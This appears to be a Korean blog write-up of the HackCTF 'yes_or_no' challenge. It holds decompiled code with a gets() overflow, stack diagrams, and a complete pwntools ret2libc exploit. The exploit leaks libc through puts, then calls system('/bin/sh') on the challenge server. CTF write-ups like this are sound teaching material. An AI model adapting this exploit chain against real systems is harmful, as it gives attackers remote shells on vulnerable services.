int __cdecl main(int argc, const char **argv, const char **envp)
{
int v3; // eax
int v4_0; // eax
int v5_200; // ecx
int v6_6; // eax
int v7; // eax
char input_str[10]; // [rsp+Eh] [rbp-12h] BYREF
int input_num_9830400; // [rsp+18h] [rbp-8h]
int v11; // [rsp+1Ch] [rbp-4h]
setvbuf(stdout, 0LL, 2, 0LL);
v11 = 5;
puts("Show me your number~!");
fgets(input_str, 10, stdin);
input_num_9830400 = atoi(input_str);
if ( (v11 - 10) >> 3 < 0 )
{
v4_0 = 0;
}
else
{
v3 = v11++;
v4_0 = input_num_9830400 - v3;
}
if ( v4_0 == input_num_9830400 )
{
puts("Sorry. You can't come with us");
}
else
{
++v11;
v5_200 = 1204 / v11;
v6_6 = v11++;
if ( input_num_9830400 == (v6_6 * v5_200) << (++v11 % 20 + 5) )
{
puts("That's cool. Follow me");
gets(input_str);
}
else
{
v7 = v11--;
if ( input_num_9830400 == v7 )
{
printf("Why are you here?");
return 0;
}
puts("All I can say to you is \"do_system+1094\".\ngood luck");
}
}
return 0;
}
이번 문제는 150점 문제가 맞나 싶을 정도로 해결하는데 시간이 조금 걸렸다. 개념은 크게 어렵지 않으나 중간에 버전 차이로 인해 발생하는 오류를 고려해야하하는 부분을 생각못해서 lick_base를 구하고도 풀지못했다. 첫번째로 gets 함수를 사용하기 위해서 조건을 만족해야한다. 차근차근 계산하면 input_num_9830400에 9830400을 넣으면 조건을 만족하는 것을 알 수 있다. 변수 이름은 임의로 바꿔가면서 진행했다. 9830400을 입력하면 That's cool. Follow me 라는 문구가 출력되고 gets 함수를 이용할 수 있다. main 함수가 끝날 때 스택을 가정하면 아래와 같다.
+------------------------+
| |
| |<-rsp
| main ret |
| main sfp |
| ... |
| 입력값 |
| |
+------------------------+
일단 보호기법을 보면 RELRO가 Partial이므로 레이지 바인딩을 사용하는 것을 알 수 있다. 따라서 got 공격을 진행할 수 있다. 가장 만만한 puts 함수로 libcbase를 추출하겠다. 아래와 같이 gadget을 추가하고 got, plt를 추가한뒤 main 함수를 넣으면 처음 main 함수가 끝나고 puts 함수를 통해 libcbase를 출력하고 다시 main 함수가 실행되는 구조이다.
+------------------------+
| |
| main |
| puts_plt |
| puts_got | <- rsp
| gadget | <- pop rdi; ret
| main sfp -> 'aaaa' |
| ... |
| 입력값 |
| |
+------------------------+
다음으로 libcbase를 구했으면 아래와 같이 gadget, binsh, system를 입력하면 쉘을 획득할 수 있다. 여기서 문제점이 우분투 18.04 버전에서 movaps 어셈블리 명령어 오류로 인해 rsp가 16 단위가 아니면 오류가 발생한다고 한다. 따라서 ret을 1개 더 추가해야 플래그를 획득할 수 있다.
+------------------------+
| |
| |
| system |
| gadget2 | <- ret
| binsh |
| gadget1 | <- pop rdi; ret
| main sfp -> 'aaaa' |
| ... |
| 입력값 |
| |
+------------------------+
from pwn import *
r=remote("ctf.j0n9hyun.xyz",3009) // 연결
e=ELF('./yes_or_no')
libc=ELF('./libc-2.27.so')
context.log_level='debug'
def main():
puts_plt=e.plt['puts']
puts_got=e.got['puts']
gadget1=0x400883 #pop rdi; ret
gadget2=0x40056e #ret
# 프로그램 시작
r.recvuntil(b"Show me your number~!\n")
r.sendline(b"9830400")
r.recvuntil(b"That's cool. Follow me\n")
# 페이로드 작성 및 전송
payload=b'a'*26
payload += p64(gadget1) + p64(puts_got) + p64(puts_plt) + p64(e.sym['main'])
r.sendline(payload)
# libcbase 추출
leak=u64(r.recv(6)+b'\x00\x00')
print('[+] leak: ' + hex(leak))
libcbase = leak - libc.sym['puts']
print('[+] libcbase: ' + hex(libcbase))
# main 함수 2번째 시작
r.recvuntil(b"Show me your number~!\n")
r.sendline("9830400")
r.recvuntil(b"That's cool. Follow me\n")
# 각 함수 주소값 추출 및 출력
system=libcbase+0x4f440 # gdb에서 p system 입력하면 주소를 알 수 있음
binsh=libcbase+list(libc.search(b'/bin/sh'))[0]
print('[+] system: ' + hex(system))
print('[+] binsh: ' + hex(binsh))
# 2번째 페이로드 전송
payload2 = b'a'*26 + p64(gadget1) + p64(binsh) + p64(gadget2) + p64(system)
r.sendline(payload2)
r.interactive()
if __name__ == '__main__':
main()
'시스템 해킹 > CTF' 카테고리의 다른 글
[HackCTF] Poet (0) | 2021.09.21 |
---|---|
[HackCTF] RTL_ World (0) | 2021.09.19 |
[HackCTF] BOF_PIE (0) | 2021.09.14 |
[HackCTF] Offset (0) | 2021.09.14 |
[HackCTF] Simple_Overflow_ver_2 (0) | 2021.09.13 |
댓글